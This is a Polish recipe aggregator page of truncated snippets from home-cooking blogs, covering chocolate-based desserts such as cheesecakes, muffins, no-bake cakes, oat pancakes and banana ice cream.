szklanki kwaśnej śmietany 3 jaja 6 żółtek  1 i 1/4 szklanki cukru Karmel: 2/3 szklanki masła 1 puszka słodzonego mleka skondensowanego 3/4 szklanki cukru Polewa: 250 g czekolady gorzkiej 250 ml śmietanki 30% Wszystkie składniki na ciasto kruche zagniatamy w miarę szybko, aby go nie ocieplać, ponieważ tego nie lubi :) Przygotowaną kulkę ciasta rozkładamy na blaszce o wymiarach 36x25(...)masło. Następnie dodajemy mleko skondensowane i gotujemy do zgęstnienia i zezłocenia. Musi powstać nam karmel. Karmel wylewamy na schłodzone ciasto i odstawiamy do lodówki. Śmietankę rozpuszczamy razem z czekoladą na niewielkim ogniu nie dopuszczając do tego, aby całość się zagotowała. Ganache lekko studzimy, następnie polewamy wierzch ciasta. Całość wkładamy ponownie do lodówki. Najlepiej, aby ciasto przed podaniem było dobrze schłodzone

MamaOskarka
Czekoladowe placuszki owsiane 139

Czekoladowe owsiane placuszki z figami polecają się na śniadanie. Usmażyłam je modyfikując przepis na owsiane placuszki - dodałam kakao i siekanej czekolady. Dla czekoholików to będzie śniadaniowy hit:) Czekoladowe placuszki owsiane Składniki (na 10-12 sztuk): 1 duże jajko 200ml gęstego jogurtu naturalnego 3/4 szklanki płatków owsianych 1 kopiasta łyżka kakao 1 łyżka cukru waniliowego 1 łyżeczka sody oczyszczonej 20g posiekanej(...)gorzkiej czekolady olej do smażenia do podania: sos czekoladowy, ulubione owoce, miód, dżem, jogurt Jogurt wymieszać z sodą, odstawić na chwilę. Jajko roztrzepać z cukrem, wlać jogurt, wsypać mąkę owsianą i kakao, wmieszać. Jeśli ciasto będzie za rzadkie, dosypać jeszcze odrobinę mąki. Ciasto powinno mieć konsystencję śmietany. czekoladę posiekać, dodać do ciasta. Na patelni rozgrzać odrobinę oleju, łyżką wykładać ciasto

Obiad gotowy
CZEKOLADOWE MUFFINKI Z BIAŁĄ CZEKOLADĄ I NUTĄ POMARAŃCZY 158

można kombinować do woli i wzbogacać ich zmak czym tylko dusza zapragnie!  I zawsze będzie pysznie!  Moje wilgotne, czekoladowe muffinki wzbogaciłam dziś otartą skórą pomarańczy i białą czekoladą 💗 Składniki:  (na ok. 8-10 -12 szt, w zależności od wielkości naszych papilotek) 2 szkl. mąki pszennej 2/3 szkl. cukru 1 mały cukier waniliowy 2 płaskie łyżeczki proszku(...)pieczenia 2 łyżki kakao 2 jajka 1/2 szkl. oleju 1 szkl. mleka kostki białej czekolady, tyle ile muffinek skórka otarta z jednej sparzonej dużej pomarańczy Wykonanie: W jednej misce mieszamy dokładnie wszystkie suche składniki: mąkę, cukier, cukier waniliowy, proszek do pieczenia i kakao, a w drugiej mokre: jajka, olej, mleko.  Następnie mokre składniki przelewamy do miski z suchymi, dodajemy

Walijskie Pichcenie
CIASTO CZEKOLADOWO-MIGDAŁOWE Z GRUSZKAMI 116

zawsze :) Składniki: na syrop do gruszek: 3-4 gruszki 1 litr wody 1 szklanka cukru 1 laska cynamonu 1 gwiazdka anyżu sok z 1/2 cytryny ciasto: 150 g gorzkiej czekolady 50 ml likieru migdałowego Amaretto 120 g masła 120 g cukru (w tym 1 łyżeczka cukru waniliowego) 4 jajka 100 g zmielonych migdałów 20 g mąki 1 łyżka kakao(...)cukrem oraz cynamonem, anyżem i sokiem z cytryny zagotować aż rozpuści się cukier. Dodać gruszki i gotować na małym ogniu przez 10 minut. Gruszki powinny być miękkie. Przygotowujemy ciasto: Czekoladę wraz z likierem podgrzewać nad parą wodną aż czekolada rozpuści się. Jak sos czekoladowy będzie gładki zdjąć z ognia i przestudzić. Masło utrzeć z cukrem do puszystej masy. Dodawać

Kuchnia w oparach
Bananowe ciasto czekoladowe z cukinią 106

Bananowe ciasto czekoladowe z cukinią Składniki: - 2 szklanki mąki, - 1/2 szklanki startej cukinii, - 1/3 szklanki ksylitolu/cukru, - 1 dojrzały banan, - 2 jaja, - 2 łyżki kakao, - 1 tabliczka gorzkiej czekolady, - 1 łyżeczka sody oczyszczonej, - 200g masła. Polewa: - garść borówek - 150g twarogu wymieszanego z 2 łyżkami jogurtu. Sposób przygotowania: - masło roztopić w małym garnuszku wraz z gorzką czekoladą, - cukinię zetrzyj na tarce(...)sodą i kakao, - w osobnej miseczce ubij jaja z cukrem/ksylitolem, - do miski z mąką dodaj odsączoną z wody cukinię, ubite jaja oraz wlej z garnuszka roztopione masło z czekoladą, - dojrzałego banana rozgnieć widelcem i dodaj do pozostałych składników, - wszystko energicznie mieszaj do powstania jednolitej masy, - masę przelej do prostokątnej foremki wysmarowanej uprzednio masłem, - wierzch ciasta wyłóż twarożkiem i posyp borówkami

MintTaste
Sernik Snickers z masłem orzechowym, solonym karmelem i czekoladą 392

najbardziej grzeszny sernik wszechczasów! Delikatna masa serowa z masłem orzechowym na krakersowym kruchym spodzie, oblana solonym karmelem z orzechami ziemnymi i mleczną czekoladą z precelkami. Czy to nie brzmi obłędnie? Ja uważam, że to kwintesencja rozpusty! Przygotowując ten sernik, inspirowałem się moim ulubionym batonem  Snickers i stworzyłem prawdziwą bombę kaloryczną! Jednakże wartą grzechu! No chyba, że nie lubicie orzeszków(...)brązowego cukru 100 g masła 50 ml śmietany 30 % 1 łyżeczka ekstraktu waniliowego ¼ łyżeczki soli morskiej 200 g orzechów ziemnych (obranych, niesolonych) Polewa czekoladowa: 200 g mlecznej czekolady 30 g masła garść precelków * PRZYGOTOWANIE Krakersowy spód Krakersy zmiel na proszek za pomocą blednera i dodaj rozpuszczone masło . Masą wyłóż spód formy pokrytej papierem do pieczenia. Sernik z masłem orzechowym Wszystkie

Food Square
Muffiny z jabłkami 127

szklanki cukru 2 łyżki przyprawy do piernika szczypta soli Mokre: 3 jajka 100 g masła 3 łyżki miodu naturalnego 2 łyżki śmietany 1/2 szklanki mleka Polewa: 100 g czekolady gorzkiej z co najmniej 50% kakao łyżeczka miodu naturalnego 50 g masła 3 łyżki mleka lub śmietany 30% Dodatkowo: 3 - 4 jabłka orzechy, migdały, płatki kokosa do dekoracji Do odmierzania używam(...)wrzącą wodą. Mieszać do uzyskania jednolitej lśniącej konsystencji. Składniki polewy można również roztopić w mikrofalówce, ustawiając jej tryb na rozmrażanie na około 5 minut (czas dostosować do posiadanej czekolady i parametrów kuchenki). W tym przypadku trzeba uważać, aby zbyt mocno nie przegrzać czekolady, gdyż będzie trudno ją rozmieszać. Zobacz również: muffiny z daktylami

Kuchcik gotuje
TORCIK JOGURTOWY MONTE 231

proszku do pieczenia 200 g zmielonych orzechów włoskich szczypta soli Masa: 400 g gęstego jogurtu naturalnego 6 kubeczków Monte (po 55g) 5-6 łyżeczek żelatyny Dekoracja: 30 g gorzkiej czekolady 3 mini wafelki w czekoladzie Wykonanie: Biszkopt: Białka oddzielamy od żółtek. Białka wlewamy do miski, dodajemy szczyptę soli i ubijamy mikserem na sztywną pianę. Następnie dodajemy porcjami cukier, ciągle miksując(...)blat wkładamy ponownie do tortownicy. Na pierwszym blacie biszkoptowym rozsmarowujemy połowę tężejącej masy jogurtowej i przykrywamy drugim blatem biszkoptowym, na którym wykładamy pozostałą masę jogurtową. Całość posypujemy startą, gorzką czekoladą i dekorujemy połówkami mini wafelków. Wkładamy do lodówki. Ciasto jest gotowe do degustacji po ok. 2 godzinach, jak masa dobrze stężeje. P.S. Przepis pochodzi z mojego bloga ALE Ciachoo

Kuchnia MagdaLeny
Puszysty sernik z mlekiem w proszku 887

waniliowe (po 40g) 3/4 szklanki oleju 1,5 szklanki zimnego mleka 1,5 szklanki mleka w proszku szczypta soli 1 łyżka masła lub margaryny   Polewa: 50g mlecznej czekolady 50g gorzkiej czekolady 1/3 szklanki mleka     *** Twaróg z wiaderka miksujemy z żółtkami, cukrem waniliowym i proszkiem budyniowym – na gładką masę. Następnie cienkim strumieniem wlewamy olej, cały czas miksując(...)piekarnika nagrzanego do 180’C i pieczemy przez 1 godzinę *** *** Po upieczeniu sernik zostawiamy w uchylonym piekarniku do wystudzenia. Gdy ciasto ostygnie przygotowujemy polewę. do garnuszka wkładamy czekolady, zalewamy mlekiem, podgrzewamy i mieszamy *** *** Sernik smarujemy polewą, studzimy i wkładamy do lodówki, aby zastygła *** *** SMACZNEGO ***     POLECAM TAKŻE: PRZEPISY NA PYSZNE I EFEKTOWNE CIASTA KLIKNIJ TUTAJ CIASTA BEZ PIECZENIA

Blog z Apetytem
SERNICZKI CZEKOLADOWE Z WIŚNIAMI 129

posiadają one żadnego spodu, tym bardziej szybko się je przygotowuje 😉 Polecane  nie tylko na specjalne okazje... Składniki: 250 ml śmietany 30% 250 g sera białego półtłustego 100 g czekolady gorzkiej 2 wafelki czekoladowe (po 50 g) - u mnie: Lusette 3 łyżeczki żelatyny 1 łyżka cukru pudru wiśnie w syropie  Polewa: 50 g masła 3 łyżki cukru pudru(...)łyżki kakao 1 wafelek czekoladowy Wykonanie: Śmietankę podgrzewamy i rozpuszczamy w niej gorzką czekoladę. Studzimy. Żelatynę zalewamy zimną wody ok. 1/4 szklanki, aby napęczniała. Następnie rozpuszczamy ją w kąpieli wodnej i łączymy ze śmietanką z czekoladą. Ser biały blendujemy na gładką masę i dodajemy do niego śmietankę czekoladową oraz cukier puder. Miksujemy blenderem aż masa będzie jednolita. Na końcu dodajemy

Kuchnia MagdaLeny
Ciasto Prince Polo bez pieczenia + film 974

Ciasto Prince Polo bez pieczenia to pyszny smakołyk składający się z herbatników, mlecznej masy z dodatkiem popularnych wafelków oraz bitej śmietany i czekolady. Ciasto jest dość słodkie, aczkolwiek bardzo smaczne, idealne na rodzinne spotkanie lub jako przekąska do popołudniowej kawy.     składniki na formę 24 x 26 cm 350 g kakaowych herbatników 200 g masła 1/2 szklanki mleka(...)cukru kryształu 2,5 szklanki mleka w proszku ( nie granulowanego) 150 g wafli prince polo 500 ml śmietany 30 % 1 łyżka cukru pudru 2 opakowania śmietan fixu 50 g czekolady gorzkiej lub mlecznej przepis Do garnka przekładamy pokrojone masło, wlewamy mleko, wsypujemy cukier i wszystko rozpuszczamy na małym ogniu od czasu do czasu mieszając, a następnie dokładnie studzimy. Wafelki prince

Smakowite Dania
Proste ciasto bez jajek z bananem i czekoladą 135

przecież w niemal każdym przepisie znajdziemy jajka. Wykonałam wiele prób, aby w końcu przedstawić Wam idealny przepis na najprostsze wegańskie ciasto. Wystarczy wymieszać składniki! Ciasto z bananem i czekoladą Via Gusto Wegańskie ciasto to spore wyzwanie – przecież w niemal każdym przepisie znajdziemy jajka. Wykonałam wiele prób, aby w końcu przedstawić Wam idealny przepis na najprostsze wegańskie ciasto. Wystarczy wymieszać(...)łyżeczka cukru waniliowego 1 łyżeczka proszku do pieczenia 1 łyżka budyniu (waniliowy) 130 ml mleka roślinnego (u mnie owsiane) 50 ml oleju Dodatkowo: 1/2 banana 2 – 3 kostki czekolady (gorzkiej) przygotowanie W jednej misce wymieszaj suche składniki (mąkę, cukier, cukier waniliowy, proszek do pieczenia oraz budyń), a w drugiej misce wymieszaj mleko roślinne i olej. Następnie mokre składniki wlej

Via Gusto
Dietetyczny piernik z otrąb owsianych 114

takim wydaniu nie przyklei się do formy, a poza tym wygląda bardzo apetycznie i kusząco. Upieczone ciasto wyjąć z piekarnika, potem z foremki i ostudzić. Opcjonalnie można rozpuścić gorzką czekoladę i oblać piernik na wierzchu czekoladą. Ja preferuję jednak go w wersji saute, a czekoladę kładę obok. 1 porcja to ok. 70 kcal , węglowodany: 7g, białko: 4g, tłuszcz: 3g Informacje

Dietolog
Kruche ciasto ze śliwkami i cynamonem. 124

cynamonem smakują obłędnie. Lubicie takie połączenie? Cynamon najczęściej łączymy z jabłkami, a ja polecam użyć go do śliwek. Na niedzielę upiekłam kruche ciasto ze śliwkami, ciasto dodatkowo posypałam białą czekoladą startą na tarce, urozmaiciło to trochę tak proste ciasto. Do takiego ciasta idealnie pasuje filiżanka aromatycznej kawy lub kubek ulubionej herbaty. Wykonanie takiego ciasta to 15 minut plus pieczenie. Polecam(...)masła lub margaryny 2 jajka 1 szklanka cukru pudru 2 łyżki kaszy manny 2 łyżeczki proszku do pieczenia Dodatkowo: około 60 dag śliwek węgierek 4 kostki białej czekolady 1 łyżka kaszy manny 1 łyżka cukru mąka pszenna do posypania stolnicy cynamon mielony według uznania Wykonanie pysznego kruchego ciasta ze śliwkami i cynamonem: 1. Ciasto: Z podanych składników zagniatamy ciasto. Wałkujemy

Izabelawkuchni
Kostka malinowa 204

galaretki (użyłam truskawkowych, bo akurat takie miałam) ok 1/2 kg malin Galaretki rozpuszczamy w litrze wrzątku. Gdy ostygną mieszamy je z malinami i czekamy aż zaczną tężec Polewa: tabliczka czekolady (u mnie pół gorzkiej i pół mlecznej) 5 łyżek mleka Pokruszoną czekoladę mieszamy z mlekiem i rozpuszczamy w kąpieli wodnej. Złożenie ciasta. Jeden z placków smarujemy połową kremu(...)krem wykładamy tężejącą galaretkę z malinami. Gdy galaretka całkowicie zastygnie rozsmarowujemy pozostały krem, przykrywamy drugim plackiem, polewamy czekoladą i odstawiamy do lodówki na kilka godzin. Smacznego

Cynamonowe szczęście
Krem śliwkowo-czekoladowy 97

Jako, że jest urodzaj owoców proponuję zrobienie smacznego kremu. Składniki : 2 i 1/2 kg śliwek ok. 1/2 kg cukru 3 czekolady gorzkie po 10 dag Przygotowanie : Śliwki umyć i wypestkować rozdrobnić, zagotować dodając cukier Wystudzić i zmiksować Ponownie zagotować do zgęstnienia, dodać pokruszoną czekoladę i gotować jeszcze ok. 20 min Gorącą masę nalewać do słoiczków pod sam dekielek, zakręcać. Przepis(...)znalazłam w Moje gotowanie ekstra 1/2015 Krem przygotowałam z 1 kg śliwek i 1 czekolady. Wyszły mi tylko 2 małe słoiczki :( Warto zatem zrobić choć z ilości podanej w przepisie. Otrzymamy może 4-5 słoiczków pysznego kremu. Jego smak jest słodko-kwaśny. Dla mnie b.smaczny. Można nim przekładać ciasta lub smarować słodkie pieczywo

Proste Potrawy
Najprostsze ciasto żytnie z jabłkiem, gruszką i cynamonem (bez miksera) 163

blaszce. Jest delikatne, mięciutkie oraz obłędnie pachnie. Naprawdę niesamowicie kusi...  Połączenie kwaśnego jabłka ze słodką gruszką jest przepyszne i doskonale komponuje się z cynamonem oraz polewą z gorzkiej czekolady. Koniecznie spróbujcie! (Forma o wymiarach około 19,5 x 19,5 cm)   50 ml śmietany/jogurtu naturalnego/maślanki 50 ml oleju 1 jajko 3/4 szklanki (około 85g) mąki żytniej(...)pszennej) 1/3 szklanki (80g) cukru 1 łyżeczka cynamonu (płaska) 1/4 łyżeczki proszku do pieczenia 1/4 łyżeczki sody oczyszczonej 1 szczypta soli Dodatkowo: 1 jabłko (kwaśne) 1 gruszka Polewa: 40g czekolady gorzkiej 20g masła 20 ml mleka   W pierwszej misce należy wymieszać jajko, śmietanę/jogurt naturalny/maślankę oraz olej, a w drugiej - mąkę, cukier, cynamon, proszek do pieczenia, sodę

Di gotuje
BABECZKI Z DYNIĄ, MASŁEM ORZECHOWYM I KAWAŁKAMI CZEKOLADY 128

łyżki masła orzechowego, 250 g mąki, 100 g brązowego cukru, 9 łyżek oleju (u mnie olej migdałowy, ale może być zwykły), 2 łyżeczki proszku do pieczenia, 50 g gorzkiej czekolady. Przygotowanie: Czekoladę kroję w niezbyt duże kawałki. Dynię mieszam z masłem orzechowym, dodaję olej. Do masy dyniowej dodaję mąkę, proszek do pieczenia, jajka i cukier. Wszystkie składniki dokładnie łączę(...)koniec dodaję czekoladę, mieszam. Formę na muffiny (lub foremki do babeczek) wykładam papilotkami, wykładam masę do 2/3 wysokości. Piekę w 190 stopniach (grzałka góra-dół) przez 20 minut

JejKuchnia
Rolada z kremem z białą czekoladą i borówkami 111

ciasto kojarzy mi się zawsze z latem, słońcem i wakacjami. Delikatny biszkopt z dodatkiem kakao, lekki krem śmietanowy z kawałeczkami białej czekolady i pyszne dojrzałe borówki. Całość daje nam smakowity deser na każdą okazję. Zachęcam do wypróbowania przepisu. składniki na biszkopt: 3 jajka 60 g cukru 100 g mąki tortowej 2 łyżki kakako szczypta proszku do pieczenia składniki na krem(...)śmietanki kremówki 36% 250 g mascarpone szklanka borówek 50 g białej czekolady 3 łyżki cukru pudru Przygotowujemy formę 25 x 30 cm i wykładamy ją papierem do pieczenia. Jajka ubijamy z cukrem na puszystą masę. Mąkę przesiewamy z proszkiem do pieczenia oraz z kakao. Dodajemy powoli do ubitych jajek i delikatnie mieszamy. Wykładamy za pomocą szpatułki  na formę

noteskulinarnyfiga
KREM RAFAELLO 168

się z jasnym biszkoptem i słodko-kwaśną frużeliną owocową. Chociaż towarzystwo kakaowego biszkoptu mu nie przeszkadza ;). Składniki: 150 g śmietanki kokosowej, otrzymanej ze schłodzonego mleczka kokosowego* 130 g białej czekolady 220 g mascarpone, schłodzonego 55 g wiórków kokosowych 20 g migdałów w płatkach, posiekanych Schłodzone mleczko kokosowe (min. 24 godz.*) odwracamy do góry dnem i otwieramy. Odlewamy wodę kokosową(...)umieszczamy w rondelku. Śmietankę podgrzewamy na małym ogniu, cały czas mieszając. Nie doprowadzamy jej do wrzenia. Śmietanka ma być na tyle gorąca, aby bez problemu rozpuściła się w niej czekolada. Gdy temperatura śmietanki będzie odpowiednia zdejmujemy rondelek z palnika i dodajemy połamaną czekoladę. Mieszamy całość, aż otrzymamy gładki sos czekoladowy. Odstawiamy do wystudzenia. Rondelek przykrywamy folią spożywczą i wkładamy

Słodki Pomysł
Lody bananowe z masłem orzechowym, gorzką czekoladą i solonymi orzeszkami 101

Banany i masło orzechowe to nie od dziś doskonały duet! Z obu tych składników postanowiłam przygotować lody, które z dodatkiem solonych orzeszków i gorzkiej czekolady smakują naprawdę rewelacyjnie. Robiłam je mnóstwo razy i za każdym wciąż zastanawiam się - dlaczego tak mało...? Przeważnie używam niezbyt słodkich bananów, ponieważ dodaję cukier puder, który wpływa na konsystencję lodów - dlatego warto z niego(...)około 3 średnie bez skórki) 200g śmietanki 30-36% 100g masła orzechowego (u mnie Woj-Len )   2 łyżki cukru pudru (płaskie) Dodatkowo: 2 garście solonych orzeszków 30g gorzkiej czekolady  Śmietankę z cukrem ubić na sztywno, a następnie delikatnie połączyć z masłem orzechowym oraz uprzednio zblendowanymi bananami. Na końcu wmieszać drobno posiekane orzeszki i startą gorzką czekoladę. Całość przełożyć

Di gotuje
MOCNO CZEKOLADOWE CIASTECZKA Z CZERWONEJ FASOLI 127

WYKONANIE: ŁATWE PRZYBLIŻONY CZAS PRZYGOTOWANIA: 25 MINUT ORIENTACYJNA CENA POTRAWY: 10 ZŁ. ILOŚĆ PORCJI: 2 Składniki: puszka czerwonej fasoli, jajko, 50 g brązowego cukru (lub zwykłego), 100 g gorzkiej czekolady, 20 g kakao, Przygotowanie:  Fasolę opłukuję, osączam na sicie z zalewy. Czekoladę roztapiam w kąpieli wodnej. Do miski przekładam fasolę, dodaję jajko i cukier, miksuję na gładką masę. Następnie(...)dodaję roztopioną czekoladę, mieszam. Na koniec łączę z kakao. Układam ciasteczka na blaszce wyłożonej papierem do pieczenia - zwilżonymi rękoma formuję kulki i spłaszczam dłonią. Piekę przez 15 minut w 180 stopniach (grzałka góra-dół

JejKuchnia
Tort orzechowo-kakaowy z kremem mascarpone – przepis krok po kroku 136

serka mascarpone 45 g cukru pudru Dodatki: ok. 40 dag owoców – ja wybrałam borówki, ale równie dobrze mogą to być np. maliny, czy truskawki tabliczka gorzkiej czekolady Będziemy potrzebować także formy do pieczenia, którą uprzednio smarujemy tłuszczem. Ja piekę tort w tortownicy o średnicy 26 cm. Wykonanie krok po kroku: Przygotowywanie ciasta: 1. Rozgrzewamy piekarnik do 180 stopni bez termoobiegu(...)cukru i alkoholu. 2. Równomiernie rozkładamy masę na pierwszym placku orzechowym i dokładnie ją rozsmarowujemy. 3. Na masę układamy owoce (u mnie borówki) i posypujemy startą na tarce gorzką czekoladą. 4. Czynności powtarzamy z plackiem kakaowym, który stanowi drugą warstwę tortu. 5. Ponczujemy również ostatni biszkopt, a następnie smarujemy kremem cały tort, łącznie z brzegami. 6. Na wierzch układamy owoce

Okiem Blondynki by McBlondi
Gruszkowa fantazja 331

łyżeczka proszku do pieczenia mus gruszkowy: ok 1 kilogram gruszek 2 galaretki gruszkowe pół szklanki wody warstwa śmietankowa 500ml śmietanki kremówki 2 śmietan -fixy 2 łyżki cukru pudru 50g czekolady mlecznej lub gorzkiej 1/4 szklanki mleka       *** Ciasto: białka ubijamy na sztywno, a następnie porcjami dosypujemy cukier i nadal ubijamy, aż się rozpuści. Dodajemy żółtka oraz olej(...)niego tężejący mus gruszkowy. Całość przykrywamy drugim blatem ciasta *** *** Śmietanę kremówkę ubijamy na sztywno wraz z cukrem pudrem oraz śmietan-fixem i wykładamy na wierzch ciasta *** *** W garnuszku roztapiamy czekoladę z mlekiem, gdyby masa była zbyt gęsta dodajemy więcej mleka, do uzyskania płynnej konsystencji *** *** Z płynnej masy czekoladowej wykonujemy na śmietanie za pomocą małej łyżeczki cienkie paseczki *** *** Następnie patyczkiem

Blog z Apetytem
Malinowy banoffee pie – bez pieczenia 122

niebo w … Zbliża się weekend, nic nie zaszkodzi spróbować Składniki na małą tortownice o średnicy 20 cm: Spód : – około 150 g herbatników pełnoziarnistych – 50 g masła – 50 g czekolady 70% kakao Tortownice wykładamy papierem do pieczenia. Herbatniki blendujemy na piasek, a masło rozpuszczamy wraz z czekoladą w garnuszku z grubym dnem. Łączymy składniki i mieszamy dokładnie, aby masło(...)czekoladą oblepiły herbatniki (ja zawsze mieszam widelcem). Przekładamy wszystko razem do tortownicy i uklepujemy dokładnie, tak by powstał nam spód i boki o wysokości około 2 cm. Do ugniatania używam dna i boków szklanki. Spód wkładamy do lodówki na 30 minut (lub szykujemy dzień wcześniej) Pozostałe składniki : – 2 banany + sok z połowy cytryny – 2 garście malin – pół puszki masy

Relaxtime
Blok daktylowy z borówkową galaretką 125

kakao 1 łyżka mąki kokosowej II warstwa: 1 szklanka borówek 2 łyżki erytrolu 1 łyżeczka agar agar 100 ml wody III warstwa: Kilka łyżek płatków owsianych 100 g gorzkiej czekolady Daktyle zalewamy wrzątkiem i odstawiamy na 20 minut. Po tym czasie odsączamy na sitku, przekładamy do miski. Do daktyli dodajemy masło z nerkowców, kakao i mąkę kokosową. Całość blendujemy(...)wysypujemy płatki owsiane tak aby pokryły galaretkę. Gdy galaretka już dokładnie zastygnie, odwracamy foremkę na płaską deskę. Zdejmujemy delikatnie folię spożywczą. Cały blok oblewamy dokładnie rozpuszczoną w kąpieli wodnej czekoladą. Gdy czekolada zastygnie możemy kroić batoniki

VioletoweKucharzenie
CYTRYNOWY SERNIK NA ZIMNO. STRACCIATELLA 191

śmietany kremówki 30% 2 galaretki cytrynowe 1 cukier waniliowy 16g 2 łyżki cukru pudru skórka otarta z 1 sparzonej cytryny` posypka czekoladowa (nie cukrowa kakaowa tylko prawdziwa czekolada), kropelki czekoladowe,  bądź starta na drobnych oczkach gorzka czekolada Wykonanie:  Galaretki rozpuszczamy w 1 i 1/3 szklanki gorącej wody. Odstawiamy do wystudzenia. Schłodzoną w lodówce śmietanę ubijamy z cukrem waniliowym(...)galaretkę. Mieszamy wszystko delikatnie przy użyciu trzepaczki. Wsypujemy czekoladowe wiórki, mieszamy i wylewamy do tortownicy. Wstawiamy do lodówki w celu stężenia. Kiedy masa stężeje posypujemy ją startą na tarce czekoladą i zdobimy dowolnie

Walijskie Pichcenie
Ciasto Maxi King 427

wypływa. Polecam na różne okazje, w tym świąteczne. Choć mega słodkie szybko znika ze stołu. Foremka 24/24 cm Składniki: 40 dag herbatników maślanych 1 puszka kajmaku ½ tabliczki gorzkiej czekolady 60% kakao ½ tabliczki białej czekolady 100 ml śmietanki kremówki 10 dag orzeszków ziemnych niesolonych Krem mleczny: 1 szklanka mleka 3,2 % ¼ szklanki cukru 1 torebka cukru z prawdziwą wanilią Dr.Oetker(...)drugą warstwą herbatników, rozsmarowujemy kajmak z puszki , dajemy następną warstwę herbatników, rozkładamy drugą połowę kremu mlecznego, i znów kolejna warstwa herbatników. Na herbatnikach rozsypujemy pokrojone na kawałki orzeszki ziemne. Czekolady rozpuszczamy każdą osobno w 50 ml słodkiej śmietanki   kremówki w   goracej kąpieli wodnej ,   płynną polewamy orzeszki   na przemian, jasną polewą i ciemną   tak aby się

Wanilia i Kardamon
TORCIK POMARAŃCZOWE TIRAMISU 135

jajek 1 szklanka cukru 4 łyżeczki octu 3 łyżeczki proszku do pieczenia 6 łyżek oleju szczypta soli Masa: 500 g serka mascarpone 4 żółtka 50 g tabliczki gorzkiej czekolady 250 ml śmietanki 36% 1 łyżeczka aromatu pomarańczowego 2 łyżeczki żelatyny 3 łyżki soku z pomarańczy 4 łyżki cukru skórka z 1/2 pomarańczy Poncz: 1 łyżeczka kawy rozpuszczalnej szczypta kardamonu(...)piekarnika i odstawiamy do wystygnięcia. Po ostygnięciu ścinamy wierzch biszkopta. Masa: Żółtka łączymy z cukrem, a następnie ubijamy mikserem na parze, aż masa jajeczna będzie jasna i gęsta. Studzimy. Czekoladę ścieramy na tarce o dużych oczkach. Zimną masę jajeczną łączymy z serkiem mascarpone, startą czekoladą i aromatem pomarańczowym. Zimną śmietankę ubijamy mikserem na sztywną masę. Żelatynę namaczamy w 3 łyżkach

Kuchnia MagdaLeny
Ciasto bez pieczenia: Rurociąg 1563

sztuk kakaowych herbatników 1,5 opakowania rurek 3 budynie śmietankowe bez cukru 3 łyżki cukru 3 szklanki mleka 200 g masła lub margaryny 4 łyżki cukru pudru 1 czekolada mleczna lub deserowa + 6 łyżek mleka Wykonanie: Na dnie wyłożonej papierem do pieczenia blaszki wyłożyć warstwę herbatników: Przygotować masę: z mleka odlać jedną szklankę. Resztę mleka zagotować. W odlanym mleku wymieszać(...)wyłożyć rurki na całej powierzchni. Następnie na rurki z kremem wyłożyć drugą część masy. A następnie całą powierzchnię przykryć warstwą herbatników. Polewa: W garnuszku podgrzać mleko, wkruszać do niego czekoladę i dokładnie mieszać do uzyskania jednolitej polewy. Gorącą czekoladę wylać na herbatniki i dokładnie rozprowadzić za pomocą łyżki. Schłodzić przez noc w lodówce. PS. Moja blaszka jest odrobinę większa, więc

Mojewlasne.pl
Kokosowa owsianka na zimno (owsianka bounty) 210

Dziś kolejna nocna owsianka, tym razem w wersji kokosowej, a skoro podana w towarzystwie czekolady to można uznać, że jest to taka owsianka bounty. Zresztą smak od razu przywołuje skojarzenia z tym popularnym batonikiem, a po jej zjedzeniu ochota na kokosowe słodkości zdecydowanie zostaje zaspokojona. Owsianka jest bardzo prosta w przygotowaniu, wszystko robimy dzień wcześniej i rano mamy gotowy posiłek(...)Składniki: 1/2 szklanki płatków owsianych 1/2 szklanki mleka kokosowego 100 g jogurtu kokosowego (Planton) 2 łyżki syropu z agawy 2 łyżki wiórków kokosowych na wierzch: kilka kostek roztopionej gorzkiej czekolady, wiórki kokosowe Wykonanie: Płatki owsiane wsypać do miski lub słoiczka, zalać mlekiem, dodać jogurt, syrop z agawy oraz wiórki kokosowe i bardzo dokładnie wymieszać. Przełożyć do lodówki na całą

Healthy food explorer
Czekoladowe pancakes z gorącymi śliwkami 100

mąka gryczana - 2 szklanki kakao - 2 łyżki sproszkowane daktyle - 2-3 łyżki proszek do pieczenia - 1 łyżeczka napój ryżowy lub woda - 1 szklanka jajo - 1 szt. kilka kostek gorzkiej czekolady - olej do smażenia 1/2 kg śliwek węgierek Węgierki umyj i wypestkuj zacznij podgrzewać w rondlu. Kiedy będą miękkie i puści sok zblenduj. Powstaną konfitury lecz rzadszej konsystencji. Mąkę gryczaną, kakao(...)pieczenia i jajko. Wymieszaj na gęste ciasto. Gdyby płynu było za mało dolej jeszcze pół szklanki. Na rozgrzaną patelnię wlej odpowiednią ilość ciasta a na środku umieść kostkę czekolady, łyżką zatop czekoladę w cieście i smaż okrągłe placki

AZgotuj!
Daktylowe ciasteczka 151

alternatywa słodkości dla dzieci i dorosłych. 1 szklanka daktyli 1 szklanka lekkiego zboża ekspandowanego  Radix-bis 4 łyżki masła z nerkowców 1 łyżka oleju kokosowego 60 g gorzkiej czekolady 2 łyżki orzechów laskowych Daktyle zalewamy wrzątkiem na 20 minut. Po tym czasie odsączamy na sitku. Do daktyli dodajemy masło z nerkowców oraz rozpuszczony olej kokosowy. Całość blendujemy na gładką(...)klejącą masę. Do daktyli dokładamy zboże ekspandowane i mieszamy łyżką. Mokrymi dłońmi formujemy kuleczki, które rozpłaszczamy na kształt ciastka. Czekoladę rozpuszczamy w kąpieli wodnej, dodajemy do niej orzechy laskowe. Czekoladą z orzechami oblewamy ciasteczka. Chłodzimy w lodówce

VioletoweKucharzenie
Ciasto Zielone Jabłuszko 2159

ziemniaczanej Masa jabłkowa: 4 zielone galaretki agrestowe 1,2 litra wrzątku 5 dużych jabłek pół cytryny Masa śmietanowa: 400ml śmietanki 30% 2 łyżki cukru pudru 2 śmietan fixy pół czekolady deserowej 1/4 szklanki mleka       *** Przygotowujemy biszkopt: Białka jajek ubijamy ze szczyptą soli na sztywną pianę. Następnie stopniowo dodajemy cukier, cały czas ubijając, gdy cukier się skończy dodajemy(...)galaretką wkładamy do lodówki – do całkowitego stężenia. Następnie przygotowujemy masę śmietanową: schłodzoną śmietankę ubijamy z cukrem pudrem i śmietan fixem. Gotową śmietankę wykładamy na galaretkę *** *** W garnuszku roztapiamy czekoladę z mlekiem, gdyby masa była zbyt gęsta dodajemy więcej mleka, do uzyskania płynnej konsystencji *** *** Z płynnej masy czekoladowej wykonujemy na śmietanie za pomocą małej łyżeczki cienkie paseczki *** *** Następnie patyczkiem

Blog z Apetytem
Kokosowe placuszki z rodzynkami i białą czekoladą. 106

